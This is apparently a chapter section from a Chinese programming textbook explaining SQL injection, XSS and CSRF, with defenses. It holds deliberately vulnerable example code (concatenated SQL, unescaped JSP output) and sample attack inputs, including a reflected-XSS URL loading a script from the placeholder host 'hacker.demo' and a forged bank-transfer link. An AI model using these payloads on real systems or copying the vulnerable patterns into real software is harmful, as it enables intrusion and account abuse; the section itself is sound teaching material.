1.6 信息安全
1.6.1 黑客与安全
黑客是音译词，译自Hacker。黑客的攻击手段十分多样，大体可分为非破坏性攻击和破坏性攻击。非破坏性攻击一般是为了扰乱系统的运行，使之暂时失去正常对外提供服务的能力，比如DDoS 攻击等。破坏性攻击主要会造成两种后果：系统数据受损或者信息被窃取，比如CSRF 攻击等。黑客使用的攻击手段有病毒式、洪水式、系统漏洞式等。黑客是计算机世界里永恒的存在，攻与守如同太极阴阳平衡的道家之道，不可能有一天黑客会彻底消失。
现代黑客攻击的特点是分布式、高流量、深度匿名。由于国外大量“肉鸡”计算机没有登记，所以国外的服务器遭遇DDoS 攻击时，无法有效地防御。现今云端提供商的优势在于能提供一套完整的安全解决方案。离开云端提供商，一个小企业要从头到尾地搭建一套安全防御体系，技术成本和资源成本将是难以承受的。所以互联网企业都要建立一套完整的信息安全体系，遵循CIA 原则，即保密性（Confidentiality）、完整性（Integrity）、可用性（Availability）。
- 保密性。对需要保护的数据（比如用户的私人信息等）进行保密操作，无论是存储还是传输，都要保证用户数据及相关资源的安全。比如，在存储文件时会进行加密，在数据传输中也会通过各种编码方式对数据进行加密等。在实际编程中，通常使用加密等手段保证数据的安全。黑客不只是外部的，有可能从内部窃取数据，所以现在大多数企业的用户敏感信息都不是以明文存储的，避免数据管理员在某些利益的驱动下，直接拖库下载。数据泄露可能导致黑客进一步利用这些数据进行网站攻击，造成企业的巨大损失。
- 完整性。访问的数据需要是完整的，而不是缺失的或者被篡改的，不然用户访问的数据就是不正确的。比如，在商场看中一个型号为NB 的手机，但售货员在包装的时候被其他人换成了更便宜的型号为LB 的手机，这就是我们所说的资源被替换了，也就是不满足完整性的地方。在实际编写代码中，一定要保证数据的完整性，通常的做法是对数据进行签名和校验（比如MD5和数字签名等）。
- 可用性。服务需要是可用的。如果连服务都不可用，也就没有安全这一说了。比如还是去商场买东西，如果有人恶意破坏商场，故意雇用大量水军在商场的收银台排队，既不结账也不走，导致其他人无法付款，这就是服务已经不可用的表现。这个例子和常见的服务拒绝（DoS）攻击十分相似。对于这种情况，通常使用访问控制、限流、数据清洗等手段解决。
以上三点是安全中最基本的三个要素，后面谈到的Web 安全问题，都是围绕这三点来展开的。
1.6.2 SQL 注入
SQL 注入是注入式攻击中的常见类型。SQL 注入式攻击是未将代码与数据进行严格的隔离，导致在读取用户数据的时候，错误地把数据作为代码的一部分执行，从而导致一些安全问题。SQL 注入自诞生以来以其巨大的杀伤力闻名。典型的SQL 注入的例子是当对SQL 语句进行字符串拼接操作时，直接使用未加转义的用户输入内容作为变量，比如：
var testCondition;
testCondition = Request.from("testCondition")
var sql = "select * from TableA where id = '" + testCondition +"'";
在上面的例子中，如果用户输入的id 只是一个数字是没有问题的，可以执行正常的查询语句。但如果直接用“;”隔开，在testCondition 里插入其他SQL 语句，则会带来意想不到的结果，比如输入drop、delete 等。
曾经在某业务中，用户在修改签名时，非常偶然地输入 "# -- !#(@ 这样的内容用来表达心情，单击保存后触发数据库更新。由于该业务未对危险字符串 “# --” 进行转义，导致where 后边的信息被注释掉，执行语句变成：
update table set memo="\"# -- !#(@ " where use_id=12345;
该SQL 语句的执行导致全库的memo 字段都被更新。所以，SQL 注入的危害不必赘述，注入的原理也非常简单。应该如何预防呢？这里主要从下面几个方面考虑：
（1）过滤用户输入参数中的特殊字符，从而降低被SQL 注入的风险。
（2）禁止通过字符串拼接的SQL 语句，严格使用参数绑定传入的 SQL 参数。
（3）合理使用数据库访问框架提供的防注入机制。比如MyBatis 提供的 #{} 绑定参数，从而防止 SQL 注入。同时谨慎使用 ${}， ${} 相当于使用字符串拼接SQL。拒绝拼接的SQL 语句，使用参数化的语句。
总之，一定要建立对注入式攻击的风险意识，正确使用参数化绑定SQL 变量，这样才能有效地避免SQL 注入。实际上，其他的注入方式也是类似的思路，身为一个开发工程师，我们一定要时刻保持对注入攻击的高度警惕。
1.6.3 XSS 与CSRF
XSS 与CSRF 两个名词虽然都比较熟悉，但也容易混淆。跨站脚本攻击，即Cross-Site Scripting，为了不和前端开发中层叠样式表（CSS）的名字冲突，简称为XSS。XSS 是指黑客通过技术手段，向正常用户请求的HTML 页面中插入恶意脚本，从而可以执行任意脚本。XSS 主要分为反射型XSS、存储型XSS 和 DOM 型XSS。XSS 主要用于信息窃取、破坏等目的。比如发生在2011 年左右的微博XSS 蠕虫攻击事件，攻击者就利用了微博发布功能中未对action-data 漏洞做有效的过滤，在发布微博信息的时候带上了包含攻击脚本的URL。用户访问该微博时便加载了恶意脚本，该脚本会让用户以自己的账号自动转发同一条微博，通过这种方式疯狂扩散，导致微博大量用户被攻击。
从技术原理上，后端Java 开发人员、前端开发人员都有可能造成XSS 漏洞，比如下面的模板文件就可能导致反射型XSS：
<div>
<h3> 反射型XSS 示例</h3>
<br> 用户：<%= request.getParameter("userName") %>
<br> 系统错误信息：<%= request.getParameter("errorMessage") %>
</div>
上面的代码从HTTP 请求中取了userName 和 errorMessage 两个参数，并直接输出到HTML 中用于展示，当黑客构造如下的URL 时就出现了反射型XSS，用户浏览器就可以执行黑客的JavaScript 脚本。
http://xss.demo/self-xss.jsp?userName= 张三<script>alert(" 张三")</script>
&errorMessage=XSS 示例<script src=http://hacker.demo/xss-script.js/>
在防范XSS 上，主要通过对用户输入数据做过滤或者转义。比如Java 开发人员可以使用 Jsoup 框架对用户输入字符串做XSS 过滤，或者使用框架提供的工具类对用户输入的字符串做HTML 转义，例如 Spring 框架提供的 HtmlUtils。前端在浏览器展示数据时，也需要使用安全的API 展示数据，比如使用innerText 而不是innerHTML。所以需要前、后端开发人员一同配合才能有效防范XSS 漏洞。
除了开发人员造成的漏洞，近年来出现了一种Self-XSS 的攻击方式。Self-XSS是利用部分非开发人员不懂技术，黑客通过红包、奖品或者优惠券等形式，诱导用户复制攻击者提供的恶意代码，并粘贴到浏览器的Console 中运行，从而导致XSS。由于Self-XSS 属于社会工程学攻击，技术上目前尚无有效防范机制，因此只能通过在Console 中展示提醒文案来阻止用户执行未知代码。
1.6.4 CSRF
跨站请求伪造（Cross-Site Request Forgery），简称CSRF，也被称为 One-click Attack，即在用户并不知情的情况下，冒充用户发起请求，在当前已经登录的Web 应用程序上执行恶意操作，如恶意发帖、修改密码、发邮件等。
CSRF 有别于XSS，从攻击效果上，两者有重合的地方。从技术原理上两者有本质的不同，XSS 是在正常用户请求的HTML 页面中执行了黑客提供的恶意代码；CSRF 是黑客直接盗用用户浏览器中的登录信息，冒充用户去执行黑客指定的操作。XSS 问题出在用户数据没有过滤、转义；CSRF 问题出在HTTP 接口没有防范不受信任的调用。很多工程师会混淆这两个概念，甚至认为这两个攻击是一样的。
比如某用户A 登录了网上银行，这时黑客发给他一个链接，URL 如下：
https://net-bank.demo/transfer.do?targetAccount=12345&amount=100
如果用户A 在打开了网银的浏览器中点开了黑客发送的URL，那么就有可能在用户A 不知情的情况下从他的账户转100 元人民币到其他账户。当然网上银行不会有这么明显的漏洞。
防范CSRF 漏洞主要通过以下方式：
（1）CSRF Token 验证，利用浏览器的同源限制，在HTTP 接口执行前验证页面或者Cookie 中设置的Token，只有验证通过才继续执行请求。
（2）人机交互，比如在调用上述网上银行转账接口时校验短信验证码。
